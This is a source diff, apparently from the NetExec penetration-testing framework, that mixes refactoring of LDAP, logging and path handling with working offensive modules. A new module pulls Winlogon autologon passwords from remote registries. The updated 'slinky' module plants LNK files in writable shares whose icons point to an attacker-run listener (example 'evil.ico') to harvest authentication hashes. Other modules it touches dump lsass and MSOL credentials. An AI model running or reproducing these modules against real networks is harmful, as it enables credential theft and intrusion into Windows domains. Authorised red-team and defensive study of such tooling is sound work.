||||
if password is not None:
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
|
||||
+35
-19
@@ -39,10 +39,15 @@ class NXCModule:
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
@@ -87,11 +92,12 @@ class NXCModule:
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
@@ -114,19 +120,30 @@ class NXCModule:
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
sys.exit()
|
||||
elif err is None:
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
@@ -148,9 +165,8 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
@@ -162,7 +178,7 @@ class NXCModule:
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
|
||||
@@ -64,7 +64,7 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(file).parse()
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
|
||||
@@ -14,7 +14,7 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = "MAQ"
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
+3
-3
@@ -3,7 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
import sys
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -49,14 +49,14 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
|
||||
@@ -174,7 +174,7 @@ class NXCModule:
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
class NXCModule:
|
||||
r"""
|
||||
WinLogon AutoLogon: extract the credential from the following registry hive
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
Module by @pentest_swissky
|
||||
"""
|
||||
|
||||
name = "reg-winlogon"
|
||||
description = "Collect autologon credential stored in the registry"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
|
||||
context.log.highlight(f"{reg_key}: {reg_value}")
|
||||
except Exception:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
from sys import exit
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -44,7 +45,7 @@ class NXCModule:
|
||||
exit(1)
|
||||
|
||||
self.scf_name = module_options["NAME"]
|
||||
self.scf_path = f"/tmp/{self.scf_name}.scf"
|
||||
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
|
||||
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
|
||||
|
||||
if not self.cleanup:
|
||||
|
||||
+45
-27
@@ -7,42 +7,55 @@ class NXCModule:
|
||||
"""
|
||||
Original idea and PoC by Justin Angel (@4rch4ngel86)
|
||||
Module by @byt3bl33d3r
|
||||
Updated by @Marshall-Hallenbeck
|
||||
"""
|
||||
|
||||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.ico_uri = None
|
||||
self.shares = None
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER IP of the SMB server
|
||||
NAME LNK file name
|
||||
r"""
|
||||
SERVER IP of the listening server (running Responder, etc)
|
||||
NAME LNK file name written to the share(s)
|
||||
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
|
||||
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
self.cleanup = False
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug("Cleanup set to True")
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
|
||||
if "ICO_URI" in module_options:
|
||||
self.ico_uri = module_options["ICO_URI"]
|
||||
context.log.debug("Overriding")
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
@@ -50,28 +63,33 @@ class NXCModule:
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
if shares:
|
||||
slinky_logger = context.log.init_log_file()
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
for share in shares:
|
||||
# TODO: these can be written to - add an option to override these
|
||||
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
+5
-17
@@ -21,7 +21,6 @@ import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
import logging
|
||||
from rich.progress import Progress
|
||||
import platform
|
||||
|
||||
@@ -42,11 +41,11 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
futures = []
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
else:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
@@ -67,19 +66,8 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
|
||||
def main():
|
||||
first_run_setup(nxc_logger)
|
||||
root_logger = logging.getLogger("root")
|
||||
args = gen_cli_args()
|
||||
|
||||
if args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added)
|
||||
# but this should never happen by accident
|
||||
if config_log:
|
||||
@@ -87,8 +75,8 @@ def main():
|
||||
if hasattr(args, "log") and args.log:
|
||||
nxc_logger.add_file_log(args.log)
|
||||
|
||||
nxc_logger.debug("PYTHON VERSION: " + sys.version)
|
||||
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
|
||||
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
|
||||
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
|
||||
nxc_logger.debug(f"Passed args: {args}")
|
||||
|
||||
# FROM HERE ON A PROTOCOL IS REQUIRED
|
||||
@@ -185,7 +173,7 @@ def main():
|
||||
exit(0)
|
||||
elif args.module:
|
||||
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||
for m in map(str.lower, args.module):
|
||||
for m in args.module:
|
||||
if m not in modules:
|
||||
nxc_logger.error(f"Module not found: {m}")
|
||||
exit(1)
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
for entry in ldap_response:
|
||||
# SearchResultReferences may be returned
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, delete, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -74,7 +74,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -86,7 +86,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
+159
-135
@@ -5,7 +5,7 @@ import hmac
|
||||
import os
|
||||
import socket
|
||||
from binascii import hexlify
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
@@ -38,6 +38,7 @@ from nxc.logger import NXCAdapter, nxc_logger
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
@@ -253,9 +254,7 @@ class ldap(connection):
|
||||
self.hostname = self.target
|
||||
self.domain = self.targetDomain
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
if not self.args.no_smb:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
@@ -266,8 +265,8 @@ class ldap(connection):
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
self.no_ntlm = True
|
||||
if not self.no_ntlm:
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
@@ -275,21 +274,19 @@ class ldap(connection):
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
try: # noqa: SIM105
|
||||
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
self.conn.logoff()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
@@ -302,20 +299,11 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
@@ -349,20 +337,13 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -370,14 +351,9 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -408,19 +384,12 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -428,13 +397,9 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -476,6 +441,8 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||
@@ -484,13 +451,9 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -500,25 +463,18 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -529,12 +485,15 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -571,6 +530,8 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
@@ -580,11 +541,9 @@ class ldap(connection):
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
